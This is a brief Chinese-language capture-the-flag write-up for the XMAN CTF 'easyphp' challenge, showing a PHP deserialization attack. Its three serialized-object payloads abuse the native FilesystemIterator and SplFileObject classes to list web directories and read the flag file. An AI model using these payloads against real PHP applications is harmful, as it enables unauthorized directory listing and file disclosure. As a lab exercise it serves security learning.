XMAN CTF
easyphp
代码审计反序列化,对参数序列化时会调用_wakeup
方法,考虑利用PHP原生类来获取flag的信息。
可利用以下原生类:
FilesystemIterator
用于遍历目录
SplFileObject
用于文件读取
构造payload=?xctf=O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";s:5:"check";N;}
得到/var/www/html下的目录
继续?xctf=O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:28:"/var/www/html/xxxXXXmMManNNn";s:5:"check";N;}
得到flag所在
利用SplFileObject类现在将其读出来
payload=?xctf=O:4:"XMAN":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:37:"/var/www/html/xxxXXXmMManNNn/f1a4.php";s:5:"check";N;}
查看源码,得到flag